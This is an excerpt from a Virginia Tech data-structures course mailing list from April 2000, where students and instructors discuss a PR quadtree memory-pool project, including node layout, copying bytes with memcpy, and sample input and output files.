the order of nodes in the memory pool might be different.  Your discussion
above directly addresses the point I was (vaguely) making at the time.

To answer your question: No, there is no requirement regarding which order
you do this particular insertion to the memory pool.

--
Cliff Shaffer, Associate Professor          Phone: (540) 231-4354
Department of Computer Science              Email: shaffer@cs.vt.edu
Virginia Tech, Blacksburg, VA 24061-0106    WWW:   www.cs.vt.edu/~shaffer
-------------------------------------------------------------------------

--Boundary_(ID_QJDn/VYwxCLLjQLkCECnKQ)-- ========================================================================= Date: Tue, 25 Apr 2000 16:45:07 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Saam Tariverdi Subject: LeafNode question MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Now I know the leaf nodes store a handle to a space in the diskfile which contains information about the node (x, y, handle to cityname), but in Project 2 I had a "Data" (contained x, y, cityname) object that the leaf node pointed to. Can I still keep that as well? Or rather, *do* I need to keep that as well? Thanks, Saam Tariverdi ========================================================================= Date: Tue, 25 Apr 2000 17:14:51 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Webb Pinner Subject: writing boolean values to file MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit I was wondering if anyone can offer any hints as to why this won't work?? bool node_type = true; string msg = ""; msg.resize(13); *((bool *) msg[0]) = type; I'm trying to write a Boolean value to the string msg so that the string can be written to a binary file. A similar format worked for integers??? Thanks Webb ----- Original Message ----- From: Saam Tariverdi To: Sent: Tuesday, April 25, 2000 4:45 PM Subject: LeafNode question > Now I know the leaf nodes store a handle to a space in the diskfile which > contains information about the node (x, y, handle to cityname), but in > Project 2 I had a "Data" (contained x, y, cityname) object that the leaf > node pointed to. Can I still keep that as well? Or rather, *do* I need to > keep that as well? > > Thanks, > Saam Tariverdi ========================================================================= Date: Tue, 25 Apr 2000 18:47:19 -0400 Reply-To: joowens@vt.edu Sender: CS2604 discussion list From: John Owens Subject: Re: writing boolean values to file In-Reply-To: <008e01bfaefb$4c2cec20$b634ad80@portarthur> MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit why do you need to write boolean? there is no data in the spec that is boolean, so there is no need to write it if you are trying to figure out Internal or Leaf, it says to write a 'L' or 'I' you do not write a boolean anywhere in the file according to the spec. -----Original Message----- From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of Webb Pinner Sent: Tuesday, April 25, 2000 5:15 PM To: CS2604@LISTSERV.VT.EDU Subject: writing boolean values to file I was wondering if anyone can offer any hints as to why this won't work?? bool node_type = true; string msg = ""; msg.resize(13); *((bool *) msg[0]) = type; I'm trying to write a Boolean value to the string msg so that the string can be written to a binary file. A similar format worked for integers??? Thanks Webb ----- Original Message ----- From: Saam Tariverdi To: Sent: Tuesday, April 25, 2000 4:45 PM Subject: LeafNode question > Now I know the leaf nodes store a handle to a space in the diskfile which > contains information about the node (x, y, handle to cityname), but in > Project 2 I had a "Data" (contained x, y, cityname) object that the leaf > node pointed to. Can I still keep that as well? Or rather, *do* I need to > keep that as well? > > Thanks, > Saam Tariverdi ========================================================================= Date: Tue, 25 Apr 2000 20:08:47 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Saam Tariverdi Subject: strcpy/memcpy? MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit I'm trying to insert a "message" into a buffer block, which is of type char *. Since memcpy doesn't null terminate the string, can I use strcpy() to copy a non-null terminated string to another variable of type char *? If not, how would I go about copying the "message" into the bufferblock.message (of type char*) variable? Thanks in advance. Saam ========================================================================= Date: Tue, 25 Apr 2000 20:38:22 -0700 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Stephen Hoskins Subject: sample input and output MIME-version: 1.0 Content-type: MULTIPART/MIXED; BOUNDARY="Boundary_(ID_Jk1o25abUzmVY65nhqYzAQ)" This is a multi-part message in MIME format. --Boundary_(ID_Jk1o25abUzmVY65nhqYzAQ) Content-type: MULTIPART/ALTERNATIVE; BOUNDARY="Boundary_(ID_kZVOdznX0UURbKMt8ayoCg)" --Boundary_(ID_kZVOdznX0UURbKMt8ayoCg) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Hey, I'm really nervous about what the output should look like. I have attached here an advanced version of the commands used in the memory map example on the web. Along with that I have the corresponding output file that my program generated. Feel free to critique it and let me know if you get results that are somewhat the same. Thanks! -Stephen Hoskins --Boundary_(ID_kZVOdznX0UURbKMt8ayoCg) Content-type: text/html; charset=us-ascii Content-transfer-encoding: 7bit Hey, I'm really nervous about what the output should look like.  I have attached here an advanced version of the commands used in the memory map example on the web.  Along with that I have the corresponding output file that my program generated.  Feel free to critique it and let me know if you get results that are somewhat the same.  Thanks!
-Stephen Hoskins
--Boundary_(ID_kZVOdznX0UURbKMt8ayoCg)-- --Boundary_(ID_Jk1o25abUzmVY65nhqYzAQ) Content-type: text/plain; name=input.txt; charset=us-ascii Content-disposition: inline; filename=input.txt Content-transfer-encoding: 7bit insert 123 234 Tulip_Craze insert 1500 1600 Gatchaman insert 1500 1600 Battle_of_the_Planets insert 1500 1600 G-Force insert 1500 1600 Eagle_Riders insert 1232 98 Pokemon insert 9877 16000 Digimon insert 3433 3444 Tamagotchi insert 1399 7988 Nano insert 0 0 Origin insert 16383 16383 SomeREAllyFarLocation debug remove 98 34 debug remove 1500 1600 debug remove 1500 1600 debug remove 0 0 debug remove 3433 3444 debug search 3433 3444 200 search 9877 16000 16000 search 0 0 500 makenull --Boundary_(ID_Jk1o25abUzmVY65nhqYzAQ) Content-type: text/plain; name=output.txt; charset=us-ascii Content-disposition: inline; filename=output.txt Content-transfer-encoding: 7bit insert 100 200 Blacksburg Blacksburg at location (100,200) was successfully inserted. debug The preorder listing is as follows: 100,200,Blacksburg insert 11000 6000 Mclean Mclean at location (11000,6000) was successfully inserted. debug The preorder listing is as follows: G100,200,Blacksburg11000,6000,McleanEE remove 100 200 --Block merging-- Blacksburg at location (100,200) was successfully removed. --Block merging-- debug The preorder listing is as follows: 11000,6000,Mclean insert 2000 12000 Charlotte Charlotte at location (2000,12000) was successfully inserted. debug The preorder listing is as follows: GE11000,6000,Mclean2000,12000,CharlotteE search 11000 6000 75 The following cities lie within radius of 75 of the point (11000, 6000) (11000, 6000) Mclean Number of nodes visited = 2 makenull --Block merging-- --Block merging-- --Block merging-- --Block merging-- The database has been initialized. debug The preorder listing is as follows: E Press any key to continue --Boundary_(ID_Jk1o25abUzmVY65nhqYzAQ)-- ========================================================================= Date: Tue, 25 Apr 2000 21:00:57 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: "=(8-b)" Subject: Re: strcpy/memcpy? In-Reply-To: <007501bfaf13$9822cc40$124723d0@saam> MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit no, strcpy will copy a char array char for char until it reaches a null terminator in the source string. this function can overwrite the bounds of the target as well as overread the bounds of the source. also when dealing with this program, strcpy can interpret an int part of your string as containing a null char. this best way i can think of to do this is to write a small function with a for loop that copys a given number of chars from one char* to another- chrcpy(char* target_start,char* source_start,int num_to_cpy); you can probably guess the details of the function. there are many ways you can use this function: chrcpy(&(mem.get(block_num)[start]),node_string,size_of_node); chrcpy(new_node_string,(char*)&size_of_node,sizeof(int)); etc. hope this helps- duffy ============================================= GO HOKIES!!!! A memeber of the Big East Athletic Conference web pages of personal interest: http://www.cs.vt.edu http://www.hokiesportsinfo.com/swimming/ http://www.mulletsgalore.com -----Original Message----- From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of Saam Tariverdi Sent: Tuesday, April 25, 2000 8:09 PM To: CS2604@LISTSERV.VT.EDU Subject: strcpy/memcpy? I'm trying to insert a "message" into a buffer block, which is of type char *. Since memcpy doesn't null terminate the string, can I use strcpy() to copy a non-null terminated string to another variable of type char *? If not, how would I go about copying the "message" into the bufferblock.message (of type char*) variable? Thanks in advance. Saam ========================================================================= Date: Tue, 25 Apr 2000 21:15:17 -0700 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Stephen Hoskins Subject: sorry I sent the wrong input file MIME-version: 1.0 Content-type: MULTIPART/MIXED; BOUNDARY="Boundary_(ID_XR57XqD3N9wFEo82znbZqw)" This is a multi-part message in MIME format. --Boundary_(ID_XR57XqD3N9wFEo82znbZqw) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Sorry, I accidently sent an input file from a previous project. Here is the one that I really intended to send. --Boundary_(ID_XR57XqD3N9wFEo82znbZqw) Content-type: text/plain; name=input.txt; charset=us-ascii Content-disposition: inline; filename=input.txt Content-transfer-encoding: 7bit insert 100 200 Blacksburg debug insert 11000 6000 Mclean debug remove 100 200 debug insert 2000 12000 Charlotte debug search 11000 6000 75 makenull debug --Boundary_(ID_XR57XqD3N9wFEo82znbZqw)-- ========================================================================= Date: Tue, 25 Apr 2000 21:25:20 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: David Wrighton Subject: Re: strcpy/memcpy? MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Why bother to write your own function? memcpy will copy char arrays just fine. Just use a cast. David Wrighton ----- Original Message ----- From: "=(8-b)" To: Sent: Tuesday, April 25, 2000 9:00 PM Subject: Re: strcpy/memcpy? > no, strcpy will copy a char array char for char until it reaches a null > terminator in the source string. this function can overwrite the bounds of > the target as well as overread the bounds of the source. also when dealing > with this program, strcpy can interpret an int part of your string as > containing a null char. this best way i can think of to do this is to write > a small function with a for loop that copys a given number of chars from one > char* to another- > > chrcpy(char* target_start,char* source_start,int num_to_cpy); > > you can probably guess the details of the function. > > there are many ways you can use this function: > > chrcpy(&(mem.get(block_num)[start]),node_string,size_of_node); > chrcpy(new_node_string,(char*)&size_of_node,sizeof(int)); > etc. > > hope this helps- > duffy > > ============================================= > GO HOKIES!!!! > A memeber of the Big East Athletic Conference > > web pages of personal interest: > http://www.cs.vt.edu > http://www.hokiesportsinfo.com/swimming/ > http://www.mulletsgalore.com > > -----Original Message----- > From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of > Saam Tariverdi > Sent: Tuesday, April 25, 2000 8:09 PM > To: CS2604@LISTSERV.VT.EDU > Subject: strcpy/memcpy? > > > I'm trying to insert a "message" into a buffer block, which is of type char > *. Since memcpy doesn't null terminate the string, can I use strcpy() to > copy a non-null terminated string to another variable of type char *? If > not, how would I go about copying the "message" into the bufferblock.message > (of type char*) variable? > > Thanks in advance. > > Saam ========================================================================= Date: Tue, 25 Apr 2000 22:04:08 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Saam Tariverdi Subject: Re: strcpy/memcpy? MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit I'm using memcpy, however, do I have to change my copy-constructor/constructor of the buffer block object to do a memcpy instead of an strcpy as well? ----- Original Message ----- From: "David Wrighton" To: Sent: Tuesday, April 25, 2000 9:25 PM Subject: Re: strcpy/memcpy? > Why bother to write your own function? memcpy will copy char arrays just > fine. Just use a cast. > > David Wrighton > > ----- Original Message ----- > From: "=(8-b)" > To: > Sent: Tuesday, April 25, 2000 9:00 PM > Subject: Re: strcpy/memcpy? > > > > no, strcpy will copy a char array char for char until it reaches a null > > terminator in the source string. this function can overwrite the bounds > of > > the target as well as overread the bounds of the source. also when > dealing > > with this program, strcpy can interpret an int part of your string as > > containing a null char. this best way i can think of to do this is to > write > > a small function with a for loop that copys a given number of chars from > one > > char* to another- > > > > chrcpy(char* target_start,char* source_start,int num_to_cpy); > > > > you can probably guess the details of the function. > > > > there are many ways you can use this function: > > > > chrcpy(&(mem.get(block_num)[start]),node_string,size_of_node); > > chrcpy(new_node_string,(char*)&size_of_node,sizeof(int)); > > etc. > > > > hope this helps- > > duffy > > > > ============================================= > > GO HOKIES!!!! > > A memeber of the Big East Athletic Conference > > > > web pages of personal interest: > > http://www.cs.vt.edu > > http://www.hokiesportsinfo.com/swimming/ > > http://www.mulletsgalore.com > > > > -----Original Message----- > > From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of > > Saam Tariverdi > > Sent: Tuesday, April 25, 2000 8:09 PM > > To: CS2604@LISTSERV.VT.EDU > > Subject: strcpy/memcpy? > > > > > > I'm trying to insert a "message" into a buffer block, which is of type > char > > *. Since memcpy doesn't null terminate the string, can I use strcpy() to > > copy a non-null terminated string to another variable of type char *? If > > not, how would I go about copying the "message" into the > bufferblock.message > > (of type char*) variable? > > > > Thanks in advance. > > > > Saam ========================================================================= Date: Tue, 25 Apr 2000 22:32:41 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: "=(8-b)" Subject: Re: strcpy/memcpy? In-Reply-To: <00cb01bfaf1e$499b7df0$855d52c6@5099dw> MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit >Why bother to write your own function? A) becasuse i dont know how memcopy works, and i trust only my own code to do exactly what i want it to do B) i never used it in the first place because in project 1, many people were complaining about memcpy giving them a ton of weird errors. the reason for this may be that casting is complicated, and not every compiler does is the same way. C) its not like i spent alot of time on the function. it is 2 lines long. D) cause im to lazy to figure out what parameters memcpy takes E) you dont have to do what i do, im obviosly a mere mortal (unlike some "instructors" in this department). its not like i wrote the automated grader or anything. ============================================= GO HOKIES!!!! A memeber of the Big East Athletic Conference web pages of personal interest: http://www.cs.vt.edu http://www.hokiesportsinfo.com/swimming/ http://www.mulletsgalore.com ========================================================================= Date: Fri, 26 Apr 2030 04:24:30 +0100 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: John Gordon Subject: Re: writing boolean values to file MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit I also had implimented it that way, so that I could retrieve a node of the same type i stored, does anyone know how to do this, I am getting some weird errors for trying it...thanks john ----- Original Message ----- From: "Webb Pinner" To: Sent: Tuesday, April 25, 2000 10:14 PM Subject: writing boolean values to file > I was wondering if anyone can offer any hints as to why this won't work?? > > bool node_type = true; > string msg = ""; > msg.resize(13); > *((bool *) msg[0]) = type; > > I'm trying to write a Boolean value to the string msg so that the string can > be written to a binary file. > > A similar format worked for integers??? > > Thanks Webb > > ----- Original Message ----- > From: Saam Tariverdi > To: > Sent: Tuesday, April 25, 2000 4:45 PM > Subject: LeafNode question > > > > Now I know the leaf nodes store a handle to a space in the diskfile which > > contains information about the node (x, y, handle to cityname), but in > > Project 2 I had a "Data" (contained x, y, cityname) object that the leaf > > node pointed to. Can I still keep that as well? Or rather, *do* I need to > > keep that as well? > > > > Thanks, > > Saam Tariverdi ========================================================================= Date: Wed, 26 Apr 2000 10:55:31 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: writing boolean values to file In-Reply-To: <001801bfaf08$36f52d60$0201a8c0@vtacs.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Tue, 25 Apr 2000, John Owens wrote: > why do you need to write boolean? > there is no data in the spec that is boolean, so there is no need to write > it > if you are trying to figure out Internal or Leaf, it says to write a 'L' or > 'I' > you do not write a boolean anywhere in the file according to the spec. Actually, the spec says you must have "a one-byte field used to distinguish internal from leaf nodes". It doesn't define the physical contents of the field, just the length and logical meaning. A boolean bit, or an 'L' vs 'I' are both reasonable choices. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Wed, 26 Apr 2000 10:58:46 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: LeafNode question In-Reply-To: <002f01bfaef7$2492aa50$124723d0@saam> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Tue, 25 Apr 2000, Saam Tariverdi wrote: > Now I know the leaf nodes store a handle to a space in the diskfile which > contains information about the node (x, y, handle to cityname), but in > Project 2 I had a "Data" (contained x, y, cityname) object that the leaf > node pointed to. Can I still keep that as well? Or rather, *do* I need to > keep that as well? The model is slightly different, in that what you are storing in the memory pool are these messages, and you have been mandated to store certain specific messages. Of course, when you convert physical messages to logical nodes, you can change the representation back to what you used in P2 if you wish. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Wed, 26 Apr 2000 11:25:17 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Shalaka Tendulkar Subject: Re: P4 Sample Memory Map In-Reply-To: <39062DB3.F3B73198@vt.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Yes, what you are saying is correct. The map has been updated to reflect the changes. Sorry about that. Shalaka On Tue, 25 Apr 2000, Stephen Hoskins wrote: > I understand that the memory map on the course web site does not have to be > identical to our own, however I still ran into a problem with it the other day. > The memory map on the course web site shows that after Blacksburg is deleted the > free block list updates itself. I don't believe that this will have any effect on > the "current" pointer. It is my understanding that the current pointer is simply > used to conduct a search through the free block list with -i.e., whenever a > request is made to insert a message into the memory pool. However, when Charlotte > gets added the memory map shows that it gets added at the front of the pool. But > the "current" pointer should still be at location 58 and there is enough space at > the end of the memory pool to add it. However, when the next request is made to > insert the leaf node there will NOT be enough space to insert it at the end > (since Charlotte just got added) so it then goes to the beginning of the pool > where it will find enough space. And when it comes time to insert the internal > node more space will have to be allocated. I guess what the memory map is > suggesting is that the particular PR quad tree disk implementation that is being > used for the mapping inserts the internal node before it inserts the leaf node. > Well, how is that kind of request supposed to be made when you need to store the > handle of the leaf node in the internal node first? This letter may seem a bit > lengthy but if anyone can clear things up for me then I can make any necessary > changes to my program before it's too late. Thanks! > -Stephen Hoskins > > Cliff Shaffer wrote: > > > On Tue, 18 Apr 2000, John Owens wrote: > > > > > I have a question on the memory map. Does the output have to be identical > > > to the block? In P2, when I had an inserted node run into a leaf with a > > > node in it, it did this: > > > 1) Check if coordinates are identical > > > if not, > > > 2) Create a New Parent and place the previous city in the designated spot > > > 3) determine which slot of the new parent the new city would be in > > > 4) direction pointer (NW,NE,SW,SE) points to recursive call of insert, which > > > finds an empty leaf and inserts. > > > > > > Now on this algoritm, unless i am mistaken, the parent node would be created > > > before the new leaf, which means it would be inserted in my memory pool > > > first. Although the parent would then have to be updated after the handle > > > for the new leaf is done, thus changing the buffer pool order, the memory > > > block would be more like: > > > First City, First Leaf (Blacksburg), Parent, Second City, Second Leaf > > > (McLean) > > > > > > the algorithm works correctly, but I was wondering if I will get penalized > > > for a different order in the memory block > > > > A day or two ago, I sent an email regarding the question of whether the > > memory manager should add to the freelist the excess space at the end of a > > new disk block or not. In that message, I alluded to the possibility that > > different students might insert nodes in a different way, and therefore > > the order of nodes in the memory pool might be different. Your discussion > > above directly addresses the point I was (vaguely) making at the time. > > > > To answer your question: No, there is no requirement regarding which order > > you do this particular insertion to the memory pool. > > > > -- > > Cliff Shaffer, Associate Professor Phone: (540) 231-4354 > > Department of Computer Science Email: shaffer@cs.vt.edu > > Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer > > ------------------------------------------------------------------------- > ========================================================================= Date: Wed, 26 Apr 2000 12:54:03 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: "Robert N. Terrell" Subject: P4 MAP MIME-version: 1.0 Content-type: text/plain; charset=us-ascii It has been stated that the block size for the P4Map that was given is 16, but what is the number of buffers given to the program? ========================================================================= Date: Wed, 26 Apr 2000 15:14:04 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: david Subject: Re: P4 MAP In-Reply-To: <3.0.5.32.20000426125403.0091bda0@mail.vt.edu> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Also concerning the p4 map, the freelist should be: 0-30 and 58-79 after blacksburg is deleted.... 10 Blacksburg 13 L 100 200 0 4 + 10 + 4 + 1 + 4 + 4 + 4 = 31 indexed 0-30 in buffers david At 12:54 PM 04/26/2000 -0400, you wrote: >It has been stated that the block size for the P4Map that was given is 16, >but what is the number of buffers given to the program? > ========================================================================= Date: Wed, 26 Apr 2000 17:24:19 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Shalaka Tendulkar Subject: Re: P4 MAP In-Reply-To: <3.0.6.32.20000426151404.00914200@mail.vt.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Thats right, the map has been updated.. Shalaka On Wed, 26 Apr 2000, david wrote: > Also concerning the p4 map, the freelist should be: > 0-30 and 58-79 > after blacksburg is deleted.... > > 10 Blacksburg 13 L 100 200 0 > 4 + 10 + 4 + 1 + 4 + 4 + 4 = 31 > > indexed 0-30 in buffers > > david > > > > At 12:54 PM 04/26/2000 -0400, you wrote: > >It has been stated that the block size for the P4Map that was given is 16, > >but what is the number of buffers given to the program? > > > ========================================================================= Date: Wed, 26 Apr 2000 17:23:55 -0700 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Stephen Hoskins Subject: Re: P4 MAP MIME-version: 1.0 Content-type: MULTIPART/ALTERNATIVE; BOUNDARY="Boundary_(ID_3k1N6RO3uKM5/cqbYI53Rg)" --Boundary_(ID_3k1N6RO3uKM5/cqbYI53Rg) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit For what's given on the web it doesn't matter how many buffers you use. As long as your buffer size is 16 you should get the same results. -Stephen Hoskins "Robert N. Terrell" wrote: > It has been stated that the block size for the P4Map that was given is 16, > but what is the number of buffers given to the program? --Boundary_(ID_3k1N6RO3uKM5/cqbYI53Rg) Content-type: text/html; charset=us-ascii Content-transfer-encoding: 7bit For what's given on the web it doesn't matter how many buffers you use.  As long as your buffer size is 16 you should get the same results.
-Stephen Hoskins

"Robert N. Terrell" wrote:

It has been stated that the block size for the P4Map that was given is 16,
but what is the number of buffers given to the program?
--Boundary_(ID_3k1N6RO3uKM5/cqbYI53Rg)-- ========================================================================= Date: Wed, 26 Apr 2000 17:40:31 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: David Wrighton Subject: Re: P4 Sample Memory Map MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Is it acceptable to insert the internal node first and then update it later when it discovers that it has a leaf node in it? I ask this because I have implemented it so that my program acts in the way that the original sample memory file suggests. David Wrighton ----- Original Message ----- From: "Shalaka Tendulkar" To: Sent: Wednesday, April 26, 2000 11:25 AM Subject: Re: P4 Sample Memory Map > Yes, what you are saying is correct. The map has been updated to reflect > the changes. Sorry about that. > > Shalaka > > On Tue, 25 Apr 2000, Stephen Hoskins wrote: > > > I understand that the memory map on the course web site does not have to be > > identical to our own, however I still ran into a problem with it the other day. > > The memory map on the course web site shows that after Blacksburg is deleted the > > free block list updates itself. I don't believe that this will have any effect on > > the "current" pointer. It is my understanding that the current pointer is simply > > used to conduct a search through the free block list with -i.e., whenever a > > request is made to insert a message into the memory pool. However, when Charlotte > > gets added the memory map shows that it gets added at the front of the pool. But > > the "current" pointer should still be at location 58 and there is enough space at > > the end of the memory pool to add it. However, when the next request is made to > > insert the leaf node there will NOT be enough space to insert it at the end > > (since Charlotte just got added) so it then goes to the beginning of the pool > > where it will find enough space. And when it comes time to insert the internal > > node more space will have to be allocated. I guess what the memory map is > > suggesting is that the particular PR quad tree disk implementation that is being > > used for the mapping inserts the internal node before it inserts the leaf node. > > Well, how is that kind of request supposed to be made when you need to store the > > handle of the leaf node in the internal node first? This letter may seem a bit > > lengthy but if anyone can clear things up for me then I can make any necessary > > changes to my program before it's too late. Thanks! > -Stephen Hoskins > > > > Cliff Shaffer wrote: > > > > > On Tue, 18 Apr 2000, John Owens wrote: > > > > > > > I have a question on the memory map. Does the output have to be identical > > > > to the block? In P2, when I had an inserted node run into a leaf with a > > > > node in it, it did this: > > > > 1) Check if coordinates are identical > > > > if not, > > > > 2) Create a New Parent and place the previous city in the designated spot > > > > 3) determine which slot of the new parent the new city would be in > > > > 4) direction pointer (NW,NE,SW,SE) points to recursive call of insert, which > > > > finds an empty leaf and inserts. > > > > > > > > Now on this algoritm, unless i am mistaken, the parent node would be created > > > > before the new leaf, which means it would be inserted in my memory pool > > > > first. Although the parent would then have to be updated after the handle > > > > for the new leaf is done, thus changing the buffer pool order, the memory > > > > block would be more like: > > > > First City, First Leaf (Blacksburg), Parent, Second City, Second Leaf > > > > (McLean) > > > > > > > > the algorithm works correctly, but I was wondering if I will get penalized > > > > for a different order in the memory block > > > > > > A day or two ago, I sent an email regarding the question of whether the > > > memory manager should add to the freelist the excess space at the end of a > > > new disk block or not. In that message, I alluded to the possibility that > > > different students might insert nodes in a different way, and therefore > > > the order of nodes in the memory pool might be different. Your discussion > > > above directly addresses the point I was (vaguely) making at the time. > > > > > > To answer your question: No, there is no requirement regarding which order > > > you do this particular insertion to the memory pool. > > > > > > -- > > > Cliff Shaffer, Associate Professor Phone: (540) 231-4354 > > > Department of Computer Science Email: shaffer@cs.vt.edu > > > Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer > > > ------------------------------------------------------------------------- > > ========================================================================= Date: Wed, 26 Apr 2000 18:18:48 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Brandon McKelvey Subject: Re: P4 MAP MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Do we have to do it that way? Mine is less bytes than that Brandon ----- Original Message ----- From: "david" To: Sent: Wednesday, April 26, 2000 3:14 PM Subject: Re: P4 MAP > Also concerning the p4 map, the freelist should be: > 0-30 and 58-79 > after blacksburg is deleted.... > > 10 Blacksburg 13 L 100 200 0 > 4 + 10 + 4 + 1 + 4 + 4 + 4 = 31 > > indexed 0-30 in buffers > > david > > > > At 12:54 PM 04/26/2000 -0400, you wrote: > >It has been stated that the block size for the P4Map that was given is 16, > >but what is the number of buffers given to the program? > > ========================================================================= Date: Wed, 26 Apr 2000 18:54:57 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Webb Pinner Subject: Re: writing boolean values to file MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit figured it out... for those who are curious ...just set the bit to "true" of "false" string msg = ""; bool type = true; msg.resize(node_size); msg[0] = type; ----- Original Message ----- From: Cliff Shaffer To: Sent: Wednesday, April 26, 2000 10:55 AM Subject: Re: writing boolean values to file > On Tue, 25 Apr 2000, John Owens wrote: > > > why do you need to write boolean? > > there is no data in the spec that is boolean, so there is no need to write > > it > > if you are trying to figure out Internal or Leaf, it says to write a 'L' or > > 'I' > > you do not write a boolean anywhere in the file according to the spec. > > Actually, the spec says you must have "a one-byte field used to > distinguish internal from leaf nodes". It doesn't define the > physical contents of the field, just the length and logical meaning. A > boolean bit, or an 'L' vs 'I' are both reasonable choices. > > -- > Cliff Shaffer, Associate Professor Phone: (540) 231-4354 > Department of Computer Science Email: shaffer@cs.vt.edu > Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer > ------------------------------------------------------------------------- ========================================================================= Date: Wed, 26 Apr 2000 20:07:39 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: "John Anthony Kazos Jr." Subject: Re: P4 MAP In-Reply-To: <001701bfafcd$677fabc0$ebd8c026@parklink.net> MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII You don't have a choice in the matter. As is clearly stated in the spec, the number of bytes is specified in the command-line parameters. On Wed, 26 Apr 2000, Brandon McKelvey wrote: > Do we have to do it that way? Mine is less bytes than that > > Brandon > ----- Original Message ----- > From: "david" > To: > Sent: Wednesday, April 26, 2000 3:14 PM > Subject: Re: P4 MAP > > > > Also concerning the p4 map, the freelist should be: > > 0-30 and 58-79 > > after blacksburg is deleted.... > > > > 10 Blacksburg 13 L 100 200 0 > > 4 + 10 + 4 + 1 + 4 + 4 + 4 = 31 > > > > indexed 0-30 in buffers > > > > david > > > > > > > > At 12:54 PM 04/26/2000 -0400, you wrote: > > >It has been stated that the block size for the P4Map that was given is > 16, > > >but what is the number of buffers given to the program? > > > > ========================================================================= Date: Wed, 26 Apr 2000 20:07:44 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: "John Anthony Kazos Jr." Subject: Re: P4 MAP In-Reply-To: <001701bfafcd$677fabc0$ebd8c026@parklink.net> MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII On Wed, 26 Apr 2000, Brandon McKelvey wrote: > Do we have to do it that way? Mine is less bytes than that > > Brandon > ----- Original Message ----- > From: "david" > To: > Sent: Wednesday, April 26, 2000 3:14 PM > Subject: Re: P4 MAP > > > > Also concerning the p4 map, the freelist should be: > > 0-30 and 58-79 > > after blacksburg is deleted.... > > > > 10 Blacksburg 13 L 100 200 0 > > 4 + 10 + 4 + 1 + 4 + 4 + 4 = 31 > > > > indexed 0-30 in buffers > > > > david > > > > > > > > At 12:54 PM 04/26/2000 -0400, you wrote: > > >It has been stated that the block size for the P4Map that was given is > 16, > > >but what is the number of buffers given to the program? > > > > ========================================================================= Date: Wed, 26 Apr 2000 20:24:57 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: jon Subject: Re: writing boolean values to file MIME-version: 1.0 Content-type: text/plain; charset=us-ascii >...just set the bit to "true" of "false" > > string msg = ""; > bool type = true; > msg.resize(node_size); > msg[0] = type; Another way to do it (and know what you're getting as eight-bit values) is the following: msg[0] = (type ? 'L' : 'I'); Jon ========================================================================= Date: Wed, 26 Apr 2000 22:47:31 -0400 